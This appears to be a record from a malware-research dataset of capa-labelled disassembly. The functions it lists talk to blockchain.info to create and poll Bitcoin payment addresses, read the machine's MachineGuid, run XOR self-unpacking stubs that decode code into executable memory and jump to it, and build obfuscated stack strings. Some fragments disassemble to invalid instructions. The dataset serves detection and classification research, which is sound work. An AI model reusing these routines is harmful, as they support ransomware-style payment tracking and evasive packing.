joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407920
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x12c
call fcn.0041070d
push 0xaa
mov ebx, eax
call fcn.0041070d
add esp, 8
mov dword [ebp - 0x138], eax
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ecx, 0x1d
mov dword [ebp - 0x134], eax
mov esi, str.https:__blockchain.info_api_receive_methodcreateaddress
lea edi, [ebp - 0x130]
rep movsd dword es:[edi], dword [esi]
push 0xb6
lea eax, [ebp - 0xba]
push 0
push eax
movsw word es:[edi], word [esi]
call fcn.004148f0
mov edx, dword [0x44e6f8]
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4079a0
lea edi, [ebp - 0x130]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4079b6
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x130]
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4079e0
mov ecx, 0xa
lea eax, [ebp - 0x130]
mov esi, str.callbackhttp:__c.e
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
push eax
push dword [ebp - 0x134]
movsw word es:[edi], word [esi]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
test eax, eax
je 0x407aa9
mov esi, dword [ebp - 0x138]
lea ecx, [ebp - 0x134]
push ecx
push 0xaa
push esi
push eax
mov dword [ebp - 0x134], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x7373
push esi
call fcn.00413fe0
add esp, 8
xor edx, edx
lea esi, [eax + 5]
mov ecx, esi
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407a60
sub ecx, edi
je 0x407a8d
nop dword [eax + eax]
cmp byte [edx + esi], 0x22
je 0x407a8d
mov eax, esi
inc edx
lea edi, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407a80
sub eax, edi
cmp edx, eax
jb 0x407a70
push 0x46
push esi
push ebx
mov byte [edx + esi], 0
call fcn.00418a88
add esp, 0xc
mov ecx, ebx
call fcn.00407ae0
cmp eax, 3
jne 0x407ac3
mov ecx, dword [0x44e6f8]
mov edx, ebx
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x407ab3
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041020c
mov esp, ebp
pop ebp
ret
Function at 0x407ae0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x32
lea eax, [ebp - 0x38]
mov ebx, ecx
push 0
push eax
call fcn.004148f0
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call dword [sym.imp.WININET.dll_InternetOpenW]
movups xmm0, xmmword [str.https:__blockchain.info_q_getreceivedbyaddress_]
push 0xcc
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x104]
movups xmmword [ebp - 0x164], xmm0
push 0
movups xmm0, xmmword [0x436118]
push eax
movups xmmword [ebp - 0x154], xmm0
movups xmm0, xmmword [0x436128]
movups xmmword [ebp - 0x144], xmm0
movups xmm0, xmmword [0x436138]
movups xmmword [ebp - 0x134], xmm0
movups xmm0, xmmword [0x436148]
movups xmmword [ebp - 0x124], xmm0
movups xmm0, xmmword [0x436158]
movups xmmword [ebp - 0x114], xmm0
call fcn.004148f0
add esp, 0xc
mov esi, ebx
nop dword [eax]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x407b90
lea edi, [ebp - 0x164]
sub ebx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x407ba6
mov ecx, ebx
lea eax, [ebp - 0x164]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
mov ecx, ebx
push eax
push dword [ebp - 0x168]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x407bf5
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x168], 0
push ecx
push 0x32
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x38]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c20
sub ecx, edx
cmp ecx, 0xf
jbe 0x407c41
mov eax, 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret
cmp ecx, 2
jb 0x407c64
cmp ecx, 0xa
jb 0x407c64
cmp byte [ebp - 0x38], 0x31
jne 0x407c64
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret
Function at 0x408d80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42be88
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x80], 0
push 0
push 0x435208
mov ecx, 0x44e6fc
mov dword [ebp - 4], 0
call fcn.0040c5a0
push 2
mov dword [ebp - 0x7c], 0x64
call fcn.0041024e
add esp, 4
lea eax, [ebp - 0x78]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408e19
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push str.MachineGuid
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
cmp dword [ebp + 0x18], ebx
jbe 0x408e75
nop dword [eax]
lea ecx, [ebp - 0x74]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408e36
sub ecx, edx
lea esi, [ebp + 8]
sar ecx, 1
mov eax, ebx
cmp dword [ebp + 0x1c], 8
cmovae esi, dword [ebp + 8]
xor edx, edx
div ecx
mov ecx, 0x44e6fc
mov ax, word [ebp + edx*2 - 0x74]
xor ax, word [esi + ebx*2]
movzx eax, ax
push eax
push 1
call fcn.0040c740
inc ebx
cmp ebx, dword [ebp + 0x18]
jb 0x408e30
xor eax, eax
mov dword [edi + 0x14], 7
push 0xffffffffffffffff
push eax
mov dword [edi + 0x10], 0
mov ecx, edi
push 0x44e6fc
mov word [edi], ax
call fcn.0040c660
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x408eac
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.0040d8b0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret
Function at 0x40ce30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42c318
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40cf6d
cmp byte [ebx + 0x3e], 0
je 0x40cf6d
mov eax, dword [ebx]
push 0xffff
call dword [eax + 0xc]
movzx eax, ax
mov ecx, 0xffff
cmp cx, ax
sete al
test al, al
je 0x40ce94
xor al, al
jmp 0x40cf6f
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.0040c8b0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
nop dword [eax]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x40cefe
sub eax, 1
je 0x40cf02
mov ecx, dword [ebp - 0x14]
sub eax, 2
je 0x40cf55
xor bl, bl
jmp 0x40cf57
mov byte [ebx + 0x3e], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x40cf37
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.00419eae
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
jne 0x40cefa
cmp byte [ebx + 0x3e], 0
je 0x40cf55
test esi, esi
jne 0x40cec0
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.0040cae0
jmp 0x40ceb9
mov bl, 1
cmp ecx, 0x10
jb 0x40cf69
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.0040d920
mov al, bl
jmp 0x40cf6f
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret
Function at 0x40d4f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42c318
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40d61e
cmp byte [ebx + 0x3d], 0
je 0x40d61e
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x40d549
xor al, al
jmp 0x40d620
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.0040c8b0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x40d5af
sub eax, 1
je 0x40d5b3
mov ecx, dword [ebp - 0x14]
sub eax, 2
je 0x40d606
xor bl, bl
jmp 0x40d608
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x40d5e8
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.00419eae
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
jne 0x40d5ab
cmp byte [ebx + 0x3d], 0
je 0x40d606
test esi, esi
jne 0x40d571
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.0040cae0
jmp 0x40d56e
mov bl, 1
cmp ecx, 0x10
jb 0x40d61a
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.0040d920
mov al, bl
jmp 0x40d620
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
ret

Function at 0x40df60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ba16
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x44c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0041024e
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00411427
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40e0f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ba16
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x44c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0041024e
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00411427
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41dde8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041daab

Function at 0x41ddf3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041dc2c

Function at 0x422608
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00421f76

Function at 0x422613
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004221b1

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40f5b6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0040f2b8
in al, dx
dec ecx
je 0x40f626
lea eax, [ebp - 0x40]
push eax

Function at 0x40f86c
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x40f85d
cmp dword [eax + 0xc], ebx
je 0x40f900
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0040f2b8
mov bh, 0xae
in al, dx
cmp dword [ebp + 0xc], ebx
jne 0x40f88c
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x40faa7
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x40f8a0
mov dword [ebp + 0x10], edi
jmp 0x40f8a5
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.0040f2b8
xor cl, 0x3a
bound ecx, qword [ebx + 0x8b1045]
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x40f8ee
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x40f8c9
and eax, 0xffff
push eax
jmp 0x40f8cd
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f27d
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x40faa7
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x40f8ae
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x40f84f
call fcn.0040f2b8
movsb byte es:[edi], byte [esi]
xor al, 0x28
mov ebp, 0xa0878b
add byte [eax], al
cmp eax, ebx
je 0x40f96c
add eax, esi
cmp dword [eax], ebx
je 0x40f96c
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x40f967
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x40f951
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x40f959
cmp edx, ebx
jne 0x40faa7
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x40f928
add eax, dword [eax + 4]
jmp 0x40f915
mov dword [ebp + 0xc], ebx
jmp 0x40f977

Function at 0x40fd38
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
invalid
Function at 0x4101a9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0040f296
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
invalid
movsd dword es:[edi], dword [esi]
xchg edi, eax

Function at 0x410c45
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.0040f27d
add esp, 0xc
mov dword [ebp - 0x730], eax
and dword [ebp - 0x6fc], 0
push 1
pop eax
test eax, eax
je 0x41135e
lea eax, [ebp - 0x230]
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x6fc], 0
jne 0x410e33
and byte [ebp - 0x77c], 0
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
mov byte [ebp - 0x774], 0x89
mov byte [ebp - 0x773], 0x94
mov byte [ebp - 0x772], 0x9c
mov byte [ebp - 0x771], 0x89
mov byte [ebp - 0x770], 0x9a
mov byte [ebp - 0x76f], 0x96
mov byte [ebp - 0x76e], 0xdb
mov byte [ebp - 0x76d], 0xbd
mov byte [ebp - 0x76c], 0x92
mov byte [ebp - 0x76b], 0x97
mov byte [ebp - 0x76a], 0x9e
mov byte [ebp - 0x769], 0x88
mov byte [ebp - 0x768], 0xa7
mov byte [ebp - 0x767], 0xb8
mov byte [ebp - 0x766], 0x94
mov byte [ebp - 0x765], 0x96
mov byte [ebp - 0x764], 0x96
mov byte [ebp - 0x763], 0x94
mov byte [ebp - 0x762], 0x95
mov byte [ebp - 0x761], 0xdb
test dword [edi - 0x24000008], ebx
mov byte [ebp - 0x760], 0xbd
mov byte [ebp - 0x75f], 0x92
mov byte [ebp - 0x75e], 0x97
mov byte [ebp - 0x75d], 0x9e
mov byte [ebp - 0x75c], 0x88
mov byte [ebp - 0x75b], 0xa7
mov byte [ebp - 0x75a], 0xa8
mov byte [ebp - 0x759], 0x82
invalid
invalid
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x41f60a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x41f619
pop dword [ebp - 0x38]
mov eax, 0xe879fd9c
add eax, 0x17c7f87d
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x59f1dc53
add dword [ebp - 0x48], 0xf46068f8
mov dword [ebp - 0x44], 0xb2083536
sub dword [ebp - 0x44], 0x7fd4e8f1
mov dword [ebp - 0x40], 0x3196709e
sub dword [ebp - 0x40], 0xe54a2c70
mov dword [ebp - 0x3c], 0x5db1fa9a
add dword [ebp - 0x3c], 0xa24e0566
lea eax, [ebp - 0x48]
push eax
mov eax, 0x6ef619f4
sub eax, 0x6eb3e980
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x438ab0bb
sub dword [ebp - 0x48], 0xcf184765
mov dword [ebp - 0x44], 0x9a7759b1
add dword [ebp - 0x44], 0xa6f507c4
mov dword [ebp - 0x40], 0x74a5f007
sub dword [ebp - 0x40], 0x1136839b
mov dword [ebp - 0x3c], 0xf1ace7d0
sub dword [ebp - 0x3c], 0xf1ace7d0
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3f567
push 0
call eax
mov ecx, 0x4e9d
xor ebx, ebx
add ebx, eax
mov edx, 0x152bbc08
sub edx, 0x14e87808
add edx, dword [ebp - 0x38]
mov edi, 0x588959f7
sub edi, 0xaba2680d
add dword [ebp - 0x34], ebx
mov esi, dword [edx]
sub dword [ebp - 0x10], 0x47a2d62f
xor esi, edi
sub dword [ebp - 0x24], ebx
mov dword [ebx], esi
add ebx, 0xdb6bd8a4
sub ebx, 0xdb6bd8a0
add edx, 0x635f3bc6
add edx, 0x9ca0c43e
loop 0x41f732
add eax, 0x3949f784
sub eax, 0x3948ca3d
xor ebx, ebx
add ebx, eax
add eax, 0x7e012977
add eax, 0x81fed68e
mov ecx, 0xa41c0e28
add ecx, 0x5c23f1d8
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x402c00
pop dword [ebp - 0x14]
mov eax, 0x402c00
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x50857e46
add dword [ebp - 0x24], 0xfdccc705
mov dword [ebp - 0x20], 0xd09f6d25
add dword [ebp - 0x20], 0x6193df20
mov dword [ebp - 0x1c], 0xa1e6772d
sub dword [ebp - 0x1c], 0x559a32ff
mov dword [ebp - 0x18], 0xdf44778d
sub dword [ebp - 0x18], 0xdf44778d
lea eax, [ebp - 0x24]
push eax
mov eax, 0x40fb4a52
sub eax, 0x40bac9c6
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xb352780f
add dword [ebp - 0x24], 0xc11ff147
mov dword [ebp - 0x20], 0x609e6751
sub dword [ebp - 0x20], 0x1f3205dc
mov dword [ebp - 0x1c], 0x3b45b0bc
add dword [ebp - 0x1c], 0x2829bbb0
mov dword [ebp - 0x18], 0x1ea70828
sub dword [ebp - 0x18], 0x1ea70828
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xbd4853a3
add eax, 0x42f82d31
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x32bd6
push 0
call eax
mov ecx, 0x3834
xor edi, edi
add edi, eax
mov ebx, 0x74211ef5
sub ebx, 0x73e00ef5
add ebx, dword [ebp - 0x14]
mov edx, 0x29a46de0
add edx, 0x3c2df06e
sub dword [ebp - 0xc], ebx
mov esi, dword [ebx]
xor dword [ebp - 4], 0x34675d93
sub esi, edx
add dword [ebp - 4], esi
mov dword [edi], esi
sub dword [ebp - 0xc], 0x4fd2fa06
add edi, 0x5a2b9506
add edi, 0xa5d46afe
add ebx, 4
loop 0x402d19
add eax, 0xd3a3
xor ebx, ebx
add ebx, eax
add eax, 0x501194d0
sub eax, 0x501194cb
mov ecx, 0xc78da65d
sub ecx, 0xc74da65d
add ecx, dword [ebp - 0x14]
call ebx
leave
ret